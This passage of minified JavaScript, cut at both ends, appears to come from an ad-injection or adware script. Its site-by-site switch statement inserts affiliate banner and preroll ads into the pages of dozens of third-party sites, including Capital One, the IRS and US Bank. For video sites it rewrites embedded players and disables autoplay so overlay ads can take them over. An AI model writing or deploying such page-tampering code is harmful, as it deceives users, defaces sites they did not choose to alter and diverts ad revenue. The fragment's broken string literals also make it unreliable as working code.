    '); break; case 'capitalone': if(forceSearch != '') injectBannerAd("250x250", "#secondary-content", "ap", affiliate, forceSearch, ''); injectPreroll('#ga-info', 'af'); injectBannerAd("200x200", "#section-5", "pr", affiliate, forceHome1, ''); injectBannerAd("336x280", "#section-7", "pr", affiliate, forceHome2, ''); injectBannerAd("728x90", "#section-8", "ap", affiliate, forceHome3, ''); break; case 'latimes': if(forceSearch != '') injectBannerAd("300x250", ".searchadrail", "ap", affiliate, forceSearch, '
    '); injectPreroll('#content', 'af'); injectBannerAd("300x250", "#topRightNarrow", "pr", affiliate, forceHome1, '
    '); injectBannerAd("336x280", "#accordionUtility", "pr", affiliate, forceHome2, ''); injectBannerAd("300x250", "#bottomRightNarrow", "pr", affiliate, forceHome3, '
    '); //jQuery('#pmad-in2').html(''); injectBannerAd('728x90', '#pmad-in2', 'pr', affiliate, forceHome1, '
    '); break; case 'zillow': if(forceSearch != '') injectBannerAd("300x250", "#c-column", "pr", affiliate, forceSearch, '
    '); injectPreroll('#search-results', 'af'); injectBannerAd("728x90", "#head-wrap", "af", affiliate, forceHome1, ''); break; case 'newegg': if(forceSearch != '') injectBannerAd("160x600", ".searchPanel", "ap", affiliate, forceSearch, '
    '); injectPreroll('#categoryNavBtm', 'af'); injectBannerAd("728x90", ".article", "pr", affiliate, forceHome1, '
    '); injectBannerAd("160x600", ".bnr_left", "be", affiliate, forceHome2, ''); injectBannerAd("728x90", "#personalizationWrapper", "be", affiliate, forceHome3, '
    '); break; case 'irs': if(forceSearch != '') { injectBannerAd("728x90", ".navbar", "be", affiliate, forceSearch, '
    '); injectBannerAd("160x600", "#leftNavDiv", "ap", affiliate, forceSearch, '
    '); } injectPreroll('.navbar', 'af'); injectBannerAd("728x90", ".mDiv", "be", affiliate, forceHome1, '
    '); injectBannerAd("728x90", ".divBar", "af", affiliate, forceHome2, '
    '); break; case 'tmz': if(forceSearch != '') injectBannerAd("300x250", ".rr-in-video-module", "pr", affiliate, forceSearch, '
    '); injectPreroll('#main', 'af'); injectBannerAd("300x250", "#boxad1", "pr", affiliate, forceHome1, ''); injectBannerAd("300x250", "#boxad2", "pr", affiliate, forceHome2, ''); injectBannerAd("300x250", "#boxad4", "pr", affiliate, forceHome3, ''); //jQuery('#adpos1-leaderboard, #adpos8-leaderboard-bottom, #adpos2, #adpos3, #adpos4, #adpos5, #adpos7, #adpos9').html(''); injectBannerAd('728x90', '#adpos1-leaderboard, #adpos8-leaderboard-bottom', 'pr', affiliate, forceHome1, '
    '); injectBannerAd('300x250', '#adpos2, #adpos3, #adpos4, #adpos5, #adpos7, #adpos9', 'pr', affiliate, forceHome1, '
    '); break; case 'tripadvisor': if(forceSearch != '') { injectBannerAd("728x90", "#BODYCON", "be", affiliate, forceSearch, '
    '); injectBannerAd("300x250", ".sidebar", "ap", affiliate, forceSearch, '
    '); } injectPreroll('#BODYCON', 'af'); injectBannerAd("728x90", "#HOMEPAGE", "pr", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#ad300X250", "pr", affiliate, forceHome2, ''); injectBannerAd("728x90", "#HOMEPAGE", "ap", affiliate, forceHome3, '
    '); break; case 'myspace': if(forceSearch != '') injectBannerAd("300x250", "#col0_1", "ap", affiliate, forceSearch, '
    '); //injectPreroll('#col0_0', 'af'); injectBannerAd("300x250", "#ad", "pr", affiliate, forceHome1, ''); injectBannerAd("728x90", "#row1", "af", affiliate, forceHome2, '
    '); injectBannerAd("728x90", "#col2_0", "af", affiliate, forceHome3, '
    '); break; case 'fiverr': if(forceSearch != '') injectBannerAd("160x600", ".side-nav", "af", affiliate, forceSearch, '
    '); injectPreroll('.paging', 'af'); injectBannerAd("160x600", ".side-nav", "af", affiliate, forceHome1, '
    '); injectBannerAd("600x189", ".gig_filters.bordertop", "be", affiliate, forceHome2, '
    '); break; case 'forbes': if(forceSearch != '') injectBannerAd("728x90", "#adstop", "af", affiliate, forceSearch, '
    '); injectPreroll('#searchTabs', 'af'); injectBannerAd("300x250", ".video.fright", "pr", affiliate, forceHome1, ''); injectBannerAd("300x250", ".blockAd", "pr", affiliate, forceHome2, '
    '); break; case 'allrecipes': if(forceSearch != '') injectBannerAd("300x250", "#divMyARTools", "ap", affiliate, forceSearch, '
    '); injectPreroll('#content-wrapper', 'af'); injectBannerAd("300x250", "#ads-right", "pr", affiliate, forceHome1, '
    '); injectBannerAd("160x600", "#left", "pr", affiliate, forceHome2, ''); injectBannerAd("300x250", ".rightModule", "ap", affiliate, forceHome3, ''); break; case 'nba': if(forceSearch != '') injectBannerAd("300x250", "#right300Ad", "be", affiliate, forceSearch, '
    '); //injectPreroll('#nbaMainSection', 'af'); injectBannerAd("728x90", "#nbaExpandPod", "be", affiliate, forceHome1, '
    '); //jQuery('#nba300ad, #nbaMid728Ad, #nba728Ad').html(''); injectBannerAd("300x250", "#nba300Ad", "pr", affiliate, forceHome3, ''); injectBannerAd("728x90", "#nbaMid728Ad, #nba728Ad", "pr", affiliate, forceHome2, '
    '); break; case 'foxsports': jQuery('sw-banner-ads').remove(); if(forceSearch != '') injectBannerAd("300x250", ".ez-relatedVideos", "af", affiliate, forceSearch, '
    '); injectPreroll('#ez-content', 'af'); injectBannerAd("728x90", "#bdy-container", "be", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#ad52969", "pr", affiliate, forceHome2, ''); break; case 'deviantart': if(forceSearch != '') injectBannerAd("160x600", "#facetMenu-Category", "ap", affiliate, forceSearch, '
    '); injectPreroll('.pagination-wrapper', 'af'); injectBannerAd("160x600", "#facetMenu-Category", "pr", affiliate, forceHome1, '
    '); injectBannerAd("728x90", ".browse2-results", "pr", affiliate, forceHome2, '
    '); break; case 'cbssports': if(forceSearch != '') injectBannerAd("300x250", ".column2", "pr", affiliate, forceSearch, '
    '); injectPreroll('#result', 'af'); //injectBannerAd("728x90", "#pageRow", "pr", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#rightRail", "pr", affiliate, forceHome2, ''); if(jQuery('#mycbsiplayer').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#mycbsiplayer').html(); playerCode = playerCode.replace("autoplay=true", "autoplay=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#mycbsiplayer').html(''); jQuery('#mycbsiplayer').html(embedUrl); jQuery('#mycbsiplayer').attr('id', 'adm_overlay_autostart'); } } break; case 'shopathome': jQuery('sw-banner-ads').remove(); if(forceSearch != '') injectBannerAd("300x250", "#RightColumn", "pr", affiliate, forceSearch, '
    '); injectPreroll('#OnlineSearchResults', 'af'); //injectBannerAd("728x90", "#aspnetForm", "be", affiliate, forceHome1, '
    '); //injectBannerAd("300x250", ".SecondaryContent", "pr", affiliate, forceHome2, '
    '); injectBannerAd("300x250", ".sidePlacement", "pr", affiliate, forceHome3, '
    '); break; case 'slickdeals': jQuery('sw-banner-ads').remove(); if(forceSearch != '') injectBannerAd("160x600", "#filterblock", "ap", affiliate, forceSearch, '
    '); injectPreroll('#results_body', 'af'); injectBannerAd("728x90", ".global_wrap", "pr", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#slickdealswelcome", "pr", affiliate, forceHome2, '
    '); injectBannerAd("300x250", "#HotOffers", "ap", affiliate, forceHome3, ''); break; case 'verizon': if(forceSearch != '') injectBannerAd("160x600", ".rwgh", "ap", affiliate, forceSearch, '
    '); injectPreroll('#search_results', 'af'); injectBannerAd("728x90", "#hero_carousel", "pr", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#legal", "ap", affiliate, forceHome2, '
    '); break; case 'southwest': if(forceSearch != '') injectBannerAd("160x600", "#right_nav", "pr", affiliate, forceSearch, '
    '); injectPreroll('#search_results', 'af'); //injectBannerAd("200x200", "#global_account_bar", "pr", affiliate, forceHome1, ''); injectBannerAd("728x90", "#ads_container", "ap", affiliate, forceHome2, '
    '); break; case 'stackoverflow': if(forceSearch != '') { injectBannerAd("200x200", ".module", "af", affiliate, forceSearch, '
    '); injectBannerAd("728x90", "#mainbar", "pr", affiliate, forceSearch, '
    '); } injectPreroll('#questions', 'af'); injectBannerAd("200x200", "#sidebar", "pr", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#question-mini-list", "pr", affiliate, forceHome2, '
    '); break; case 'squidoo': if(forceSearch != '') injectBannerAd("300x250", "#explore_box", "ap", affiliate, forceSearch, ''); injectPreroll('#left_col', 'ap'); injectBannerAd("228x335", "#explore_box", "pr", affiliate, forceHome1, ''); injectBannerAd("728x90", "#home_left", "pr", affiliate, forceHome2, ''); break; case 'mashable': if(forceSearch != '') { injectBannerAd("728x90", "#post-results", "pr", affiliate, forceSearch, '
    '); injectBannerAd("300x250", "#follow-mashable-f", "af", affiliate, forceSearch, '
    '); } injectPreroll('#post-results', 'af'); injectPreroll('#sidebar', 'ap'); injectBannerAd("300x250", "#sidebar", "pr", affiliate, forceHome1, ''); injectBannerAd("300x250", "#mashable-connect-sidebar", "pr", affiliate, forceHome2, ''); injectBannerAd("728x90", "#leaderboard", "pr", affiliate, forceHome3, ''); break; case 'kohls': if(forceSearch != '') injectBannerAd("160x600", ".moreconsider", "ap", affiliate, forceSearch, '
    '); injectPreroll('#container', 'af'); injectBannerAd("728x90", "#equity-bar", "af", affiliate, forceHome1, '
    '); injectBannerAd("120x600", ".moretoexplore", "ap", affiliate, forceHome2, ''); break; case 'careerbuilder': if(forceSearch != '') injectBannerAd("160x600", "#htcRight", "pr", affiliate, forceSearch, '
    '); injectPreroll('#JL_D', 'af'); injectBannerAd("300x250", "#adRightColumnNew", "pr", affiliate, forceHome1, ''); injectBannerAd("300x250", "#jsSearchTools", "ap", affiliate, forceHome2, ''); break; case 'usbank': if(forceSearch != '') injectBannerAd("468x60", ".searchResults", "be", affiliate, forceSearch, '
    '); injectPreroll('#contentColumns', 'af'); injectBannerAd("728x90", "#ProductAd-1", "pr", affiliate, forceHome1, '
    '); injectBannerAd("200x200", "#rightColumn", "ap", affiliate, forceHome2, '
    '); break; case 'gap': if(forceSearch != '') injectBannerAd("120x600", "#sideNavRefinements", "ap", affiliate, forceSearch, '
    '); injectPreroll('#mainContentContainer', 'af'); injectBannerAd("728x90", "#mainContent", "pr", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#mainContent", "ap", affiliate, forceHome2, '
    '); break; case 'monster': if(forceSearch != '') injectBannerAd("160x600", "#sidebarRight", "pr", affiliate, forceSearch, '
    '); injectPreroll('#secondaryResults', 'af'); injectBannerAd("300x250", ".adWrapper300x250", "be", affiliate, forceHome1, ''); injectBannerAd("728x90", ".adWrapper728x90", "pr", affiliate, forceHome2, ''); break; case 'webmd': if(forceSearch != '') injectBannerAd("300x250", "#thirdCol_ctr", "pr", affiliate, forceSearch, '
    '); injectPreroll('#searchResults', 'af'); injectBannerAd("300x250", "#thirdCol_area", "pr", affiliate, forceHome1, ''); injectBannerAd("120x600", "#ContentPane22", "ap", affiliate, forceHome2, ''); injectBannerAd("300x250", "#ContentPane25", "ap", affiliate, forceHome3, ''); //jQuery('#bannerAd_rdr, #leftAd_rdr, #rightAd_rdr').html(''); injectBannerAd('728x90', '#bannerAd_rdr', 'pr', affiliate, forceHome1, '
    '); injectBannerAd('160x600', '#leftAd_rdr', 'pr', affiliate, forceHome1, '
    '); injectBannerAd('300x250', '#rightAd_rdr', 'pr', affiliate, forceHome1, '
    '); break; case 'trulia': if(forceSearch != '') injectBannerAd("300x250", "#right_rail", "pr", affiliate, forceSearch, '
    '); injectPreroll('#results_tab_for_sale_rows', 'af'); injectBannerAd("728x90", "#search", "af", affiliate, forceHome1, ''); injectBannerAd("300x250", ".poster.agent-ad", "pr", affiliate, forceHome2, ''); injectBannerAd("300x250", "#houzz_selects", "af", affiliate, forceHome3, ''); break; case 'clickbank': jQuery('.sw-banner-ads').remove(); if(forceSearch != '') injectBannerAd("228x335", "#adHolder", "pr", affiliate, forceSearch, '
    '); injectBannerAd("728x90", ".std_padding_top", "be", affiliate, forceHome1, '
    '); break; case 'reuters': if(forceSearch != '') injectBannerAd("300x250", ".column2", "pr", affiliate, forceSearch, '
    '); injectBannerAd("300x250", "#opinionCarouselCanvas", "be", affiliate, forceHome1, ''); injectBannerAd("300x250", "#pulseArticles", "af", affiliate, forceHome2, ''); injectBannerAd("300x250", "#feature-counterparties", "af", affiliate, forceHome3, ''); //jQuery('.grid4 .ad, #bannerStrip .grid12 .ad').html(''); injectBannerAd('300x250', '.grid4 .ad', 'pr', affiliate, forceHome1, ''); injectBannerAd('728x90', '#bannerStrip .grid12 .ad', 'pr', affiliate, forceHome1, ''); break; case 'ca': jQuery('sw-banner-ads').remove(); if(forceSearch != '') injectBannerAd("300x250", ".content_right_column", "pr", affiliate, forceSearch, '
    '); injectPreroll('#search_results', 'af'); injectBannerAd("300x250", "#slide_show_container", "be", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#main_content", "pr", affiliate, forceHome2, '
    '); break; case 'barnesandnoble': if(forceSearch != '') { injectBannerAd("160x600", "#search-filter-1", "af", affiliate, forceSearch, '
    '); injectBannerAd("728x90", "#search-summary-1", "be", affiliate, forceSearch, ''); } injectPreroll('#search-controls-2', 'af'); injectBannerAd("300x250", "#home-right", "pr", affiliate, forceHome1, ''); injectBannerAd("728x90", "#gridBN", "pr", affiliate, forceHome2, '
    '); injectBannerAd("300x250", "#Right_Row_5", "ap", affiliate, forceHome3, ''); break; case 'realtor': if(forceSearch != '') injectBannerAd("160x600", "#rightColumn", "pr", affiliate, forceSearch, '
    '); injectPreroll('#mainColumn', 'af'); //injectBannerAd("300x250", "#rightColumn", "pr", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#FindRealtorAd", "pr", affiliate, forceHome3, '
    '); break; case 'manta': if(forceSearch != '') { injectBannerAd("300x250", ".image-area", "pr", affiliate, forceSearch, ''); injectBannerAd("160x600", ".mb-latest-claim-box", "ap", affiliate, forceSearch, '
    '); } injectPreroll('.results-area', 'af'); injectBannerAd("728x90", "#panel2", "be", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#ad_iframe_hider_3", "pr", affiliate, forceHome3, '
    '); break; case 'quickmeme': if(forceSearch != '') injectBannerAd("728x90", "#content", "pr", affiliate, forceSearch, '
    '); injectPreroll('#pagination', 'af'); injectBannerAd("728x90", "#content", "pr", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#aatop", "pr", affiliate, forceHome2, ''); break; case 'cbslocal': if(forceSearch != '') injectBannerAd("728x90", ".sm-ad", "pr", affiliate, forceSearch, ''); injectPreroll('#cse', 'af'); //injectBannerAd("300x250", "#ad_2", "pr", affiliate, forceHome1, ''); injectBannerAd("300x250", ".right-activated-widget.most-commented", "pr", affiliate, forceHome2, ''); if(jQuery('div[id^="wnVideo_"]').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('div[id^="wnVideo_"]').html(); playerCode = playerCode.replace("isAutoStart=true", "isAutoStart=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('div[id^="wnVideo_"]').html(''); jQuery('div[id^="wnVideo_"]').html(embedUrl); jQuery('div[id^="wnVideo_"]').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'backpage': if(forceSearch != '') { injectBannerAd("728x90", ".viewModeSelector", "af", affiliate, forceSearch, ''); injectBannerAd("160x600", "#sideSponsorTable", "pr", affiliate, forceSearch, ''); } injectPreroll('.mainBody', 'af'); injectBannerAd("728x90", "#header", "ap", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#navLinkList", "be", affiliate, forceHome2, '
    '); break; case 'ign': if(forceSearch != '') injectBannerAd("300x250", "#content-sub", "pr", affiliate, forceSearch, ''); injectPreroll('#searchResults', 'af'); injectBannerAd("728x90", "#LB_Row", "ap", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#content-sub", "pr", affiliate, forceHome2, ''); injectBannerAd("300x250", "#startWidget", "ap", affiliate, forceHome3, ''); //jQuery('#sugarad-300x250, #sugarad-728x90, #sugarad-s728x90, #sugarad-side300x250').html(''); injectBannerAd("300x250", "#sugarad-300x250, #sugarad-side300x250", "ap", affiliate, forceHome3, ''); injectBannerAd("728x90", "#sugarad-728x90, #sugarad-s728x90", "ap", affiliate, forceHome3, ''); break; case 'whitepages': if(forceSearch != '') injectBannerAd("300x250", "#map_div", "af", affiliate, forceSearch, ''); injectPreroll('#main', 'af'); injectBannerAd("300x250", "#right", "pr", affiliate, forceHome1, ''); break; case 'mlb': if(forceSearch != '') injectBannerAd("300x250", ".column-2", "pr", affiliate, forceSearch, ''); injectPreroll('#divSearchResults', 'af'); injectBannerAd("160x600", "#ad", "pr", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#main_column_2", "pr", affiliate, forceHome2, ''); //jQuery('#ad-970x66, #ad-300x250-1, #ad-300x60, .article-ad, #banner_ad, #adverts100 .row').html(''); injectBannerAd('728x90', '#ad-970x66, #banner_ad', 'pr', affiliate, forceHome1, '
    '); injectBannerAd('300x250', '#ad-300x250-1, #ad-300x600, .article-ad, #adverts100 .row', 'pr', affiliate, forceHome1, '
    '); break; case 'retailmenot': if(forceSearch != '') injectBannerAd("300x250", "#minor", "pr", affiliate, forceSearch, '
    '); injectPreroll('#offers', 'af'); injectBannerAd("600x189", "#storeCollection", "af", affiliate, forceHome1, ''); injectBannerAd("300x250", "#minor", "pr", affiliate, forceHome2, ''); injectBannerAd("300x250", ".popMerchants", "pr", affiliate, forceHome3, ''); break; case 'nydailynews': if(forceSearch != '') injectBannerAd("160x600", "#right_rail", "pr", affiliate, forceSearch, '
    '); injectPreroll('#results', 'af'); injectBannerAd("300x250", "#col_300", "pr", affiliate, forceHome2, ''); injectBannerAd("300x250", "#x55", "pr", affiliate, forceHome3, ''); break; case 'hubpages': if(forceSearch != '') injectBannerAd("300x250", "#sidebar", "pr", affiliate, forceSearch, '
    '); injectPreroll('#search', 'af'); injectBannerAd("200x200", "#right_column", "pr", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#article_rotator", "af", affiliate, forceHome2, ''); break; case 'search-results': if(forceSearch != '') injectBannerAd("300x250", "#rr_sa", "pr", affiliate, forceSearch, '
    '); injectPreroll('#midRail', 'af'); injectBannerAd("728x90", "#container", "pr", affiliate, forceHome1, '
    '); break; case 'foodnetwork': if(forceSearch != '') injectBannerAd("300x250", "#fn-e", "pr", affiliate, forceSearch, '
    '); injectPreroll('#fn-w', 'ap'); injectBannerAd("728x90", "#main-bd", "pr", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#fn-e", "pr", affiliate, forceHome2, '
    '); break; case 'zappos': if(forceSearch != '') injectBannerAd("728x90", ".sort", "pr", affiliate, forceSearch, ''); injectPreroll('#searchResults', 'af'); injectBannerAd("200x200", ".topRight", "pr", affiliate, forceHome1, ''); break; case 'earthlink': if(forceSearch != '') injectBannerAd("160x600", ".rCol", "pr", affiliate, forceSearch, '
    '); injectPreroll('#webResults', 'af'); injectBannerAd("728x90", "#resbiz_footer_widget", "be", affiliate, forceHome1, '
    '); break; case 'pbs': if(jQuery('#flashcontainer').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('meta[property="og:video"]').attr('content'); if(playerCode != '') { var embedUrl = playerCode; jQuery('#flashcontainer').html(''); jQuery('#flashcontainer').html(''); } } break; case 'hollywoodreporter': if(jQuery('#myExperience').length > 0 && overlayAds == 1) { var playerCode = ''; var playerHTML = jQuery('#myExperience').parent().html(); playerHTML = playerHTML.replace("autoStart=true","autoStart=false"); playerHTML = playerHTML.replace(/myExperience/g, "adm_overlay_autostart"); if(playerHTML != '') { var mparent = jQuery('#myExperience').parent(); jQuery(mparent).html(''); jQuery(mparent).html(playerHTML); } } break; case 'cracked': if(jQuery('#videoPlayer').length > 0 && overlayAds == 1) { var playerCode = ''; var playerCode = jQuery('.embedInput').val(); if(playerCode != '') { var embedUrl = '
    '+playerCode+'
    '; jQuery('#videoPlayer').html(''); jQuery('#videoPlayer').html(embedUrl); } } break; case 'collegehumor': if(jQuery('#video-player').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#video-player').html(); playerCode = playerCode.replace("autostart=true", "autostart=false"); if(playerCode != '') { jQuery('#video-player').html(''); jQuery('#video-player').html(playerCode); jQuery('#video-player').find('embed').attr('id', 'adm_overlay_autostart'); } } break; case 'nbc': if(jQuery('#scet-main-video').length > 0 && overlayAds == 1) { var playerCode = ''; var params = window.location.href.split("/"); if(params[params.length - 1] == '') { playerCode = params[params.length - 2]; } else playerCode = params[params.length - 1]; if(playerCode != '') { var embedUrl = "http://www.nbc.com/assets/video/widget/widget.html?vid="+playerCode; jQuery('#scet-main-video').html(''); setTimeout(function() { jQuery('#scet-main-video').html(''); }, 700); } } break; case 'cbs': if(jQuery('#flashcontent').length > 0 && overlayAds == 1) { var playerCode = ''; var playerUrl = jQuery('meta[property="og:video"]').attr('content'); var playerCode = playerUrl.replace("&autoPlayVid=true", ""); if(playerCode != '') { var embedUrl = playerCode; jQuery('#flashcontent').html(''); jQuery('#flashcontent').html(''); } } break; case 'vevo': if(jQuery('.player').length > 0 && overlayAds == 1) { var playerCode = ''; var playerUrl = jQuery('meta[property="og:url"]').attr('content'); var params = playerUrl.split("/"); playerCode = params[params.length - 1]; if(playerCode != '') { var embedUrl = "http://videoplayer.vevo.com/embed/Embedded?videoId="+playerCode+"&playlist=false&autoplay=0&playerId=62FF0A5C-0D9E-4AC1-AF04-1D9E97EE3961 &playerType=embedded&env=0&cultureName=en-US&cultureIsRTL=False"; setTimeout(function() { jQuery('.player').html(''); jQuery('.player').html(''); }, 300); } } break; case 'hulu': if(jQuery('#player-container').length > 0 && overlayAds == 1) { var playerCode = ''; if(jQuery('link[rel="media:video"]').length > 0) playerCode = jQuery('link[rel="media:video"]').attr('href'); if(playerCode != '') { var embedUrl = playerCode; jQuery('#player-container').html(''); jQuery('#player-container').html(''); } } break; case 'metacafe': if(jQuery('#FlashWrap').length > 0 && overlayAds == 1) { var playerCode = ''; m = window.location.href.match(/^https?:\/\/[a-z]+\.metacafe\.com\/watch\/(.*)\/(.*)\/.*$/) if(m !== null) { playerCode = m[1]+"/"+m[2]; } if(playerCode != '') { var embedUrl = "http://www.metacafe.com/fplayer/"+playerCode+".swf"; jQuery('#FlashWrap').html(''); jQuery('#FlashWrap').html(''); } } break; case 'dailymotion': /*if(jQuery('div[class^="dmpi_video_playerv4"]').length > 0 && overlayAds == 1) { var playerCode = ''; m = window.location.href.match(/^https?:\/\/[a-z]+\.dailymotion\.com\/video\/(.*)\_.*$/) if (m !== null) { var videoCode = m[1]; var videoCodes = videoCode.split("_"); playerCode = videoCodes[0]; } if(playerCode != '') { var embedUrl = "http://www.dailymotion.com/embed/video/"+playerCode; jQuery('div[class^="dmpi_video_playerv4"]').html(''); jQuery('div[class^="dmpi_video_playerv4"]').html(''); } }*/ if(forceSearch != '') injectBannerAd("300x250", "#mc_Middle", "pr", affiliate, forceSearch, ''); //injectPreroll('#dual_list', 'af'); injectBannerAd("300x250", "#home_right_col", "pr", affiliate, forceHome1, ''); injectBannerAd("728x90", "#content", "pr", affiliate, forceHome2, '
    '); break; case 'cbsnews': if(jQuery('#flashvideocontent').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('meta[property="og:video"]').attr('content'); if(playerCode != '') { var embedUrl = playerCode; jQuery('#flashvideocontent').html(''); jQuery('#flashvideocontent').html(''); } } break; case 'maxpreps': if(jQuery('.uvp-video-player-container').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('.uvp-video-player-container').html(); playerCode = playerCode.replace("startMode=normal", "startMode=stop"); if(playerCode != '') { var embedUrl = playerCode; jQuery('.uvp-video-player-container').html(''); jQuery('.uvp-video-player-container').html(embedUrl); jQuery('.uvp-video-player-container').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'zdnet': if(jQuery('.videoPlayer').length > 0 && overlayAds == 1) { jQuery('.videoPlayer').find('object').attr('id', 'adm_overlay_autostart'); } break; case 'cnet': /*if(jQuery('#GeckoVideoPlayer1').length > 0) { var playerCode = ''; playerCode = jQuery('#GeckoVideoPlayer1').html(); playerCode = playerCode.replace("autoplay=true", "autoplay=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#GeckoVideoPlayer1').html(''); jQuery('#GeckoVideoPlayer1').html(embedUrl); jQuery('#GeckoVideoPlayer1').attr('id', 'adm_overlay_autostart'); } }*/ //if(jQuery('#contentAux #componentsw').length < 1) //injectBannerAd("300x250", "#contentAux", "pr", affiliate, forceHome1, '
    '); //if(jQuery('#main aside #componentsw').length < 1) //injectBannerAd("300x250", "#contentAux", "pr", affiliate, forceHome1, '
    '); break; case 'tv': if(jQuery('.vid_bg').length > 0 && overlayAds == 1) { if(jQuery('#rcpHolder').length > 0) { var playerCode = ''; playerCode = jQuery('#rcpHolder').html(); playerCode = playerCode.replace("autoPlayVid=true", "autoPlayVid=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#rcpHolder').html(''); jQuery('#rcpHolder').html(embedUrl); jQuery('#rcpHolder').attr('id', 'adm_overlay_autostart'); } } else { var playerCode = ''; var playerTag = jQuery('.vid_bg').find('object').find('param[name="flashvars"]').attr('value'); playerParams = playerTag.split("="); if(playerParams[1] && playerParams[1] != '') playerCode = playerParams[1]; if(playerCode != '') { var embedCode = ' '; jQuery('.vid_bg').html(''); jQuery('.vid_bg').html(embedCode); //jQuery('.uvp-video-player-container').find('object').attr('id', 'adm_overlay_autostart'); } } } break; case 'chow': if(jQuery('#can').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#can').html(); playerCode = playerCode.replace(/autoPlayVid=true/g, "autoPlayVid=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#can').html(''); jQuery('#can').html(embedUrl); jQuery('#can').attr('id', 'adm_overlay_autostart'); } } break; case 'gamespot': if(jQuery('#flash_video_player_wrapper').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#flash_video_player_wrapper').find('object').html(); playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#flash_video_player_wrapper').find('object').html(embedUrl); jQuery('#flash_video_player_wrapper').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'gamefaqs': if(jQuery('.pod').length > 0 && overlayAds == 1) { jQuery('.pod').find('object').attr('id', 'adm_overlay_autostart'); } break; case 'giantbomb': if(jQuery('.player').length > 0 && overlayAds == 1) { jQuery('.player').attr('id', 'adm_overlay_autostart'); } break; case 'comicvine': if(jQuery('.player').length > 0 && overlayAds == 1) { jQuery('.player').attr('id', 'adm_overlay_autostart'); } break; case 'majorleaguegaming': if(jQuery('.video').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('.video').html(); playerCode = playerCode.replace("autoStart=true", "autoStart=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('.video').html(embedUrl); jQuery('.video').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'fandango': if(jQuery('#playerDiv').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#playerDiv').html(); playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#playerDiv').html(embedUrl); jQuery('#playerDiv').find('embed').attr('id', 'adm_overlay_autostart'); } } break; case 'sciencedaily': if(jQuery('#mediaspace').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#mediaspace').html(); playerCode = playerCode.replace("autostart=true", "autostart=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#mediaspace').html(embedUrl); jQuery('#mediaspace').find('embed').attr('id', 'adm_overlay_autostart'); } } break; case 'ivillage': if(jQuery('#playerContainer').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#playerContainer').html(); playerCode = playerCode.replace("autoStart=", "autoStart=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#playerContainer').html(embedUrl); jQuery('#playerContainer').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'dinnertool': if(jQuery('#videoplayer').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#videoplayer').html(); playerCode = playerCode.replace("autoStart=", "autoStart=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#videoplayer').html(embedUrl); jQuery('#videoplayer').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'dailycandy': if(jQuery('#player').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#player').html(); playerCode = playerCode.replace("autoplay=true", "autoplay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#player').html(embedUrl); jQuery('#player').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'lifegoesstrong': if(jQuery('#videoplayer1').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#videoplayer1').html(); playerCode = playerCode.replace("autoStart=", "autoStart=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#videoplayer1').html(embedUrl); jQuery('#videoplayer1').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'cnbc': if(jQuery('#cnbc_vid_player').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#cnbc_vid_player').html(); playerCode = playerCode.replace("auto_play=true", "auto_play=false"); if(playerCode != '') { var embedUrl = playerCode; 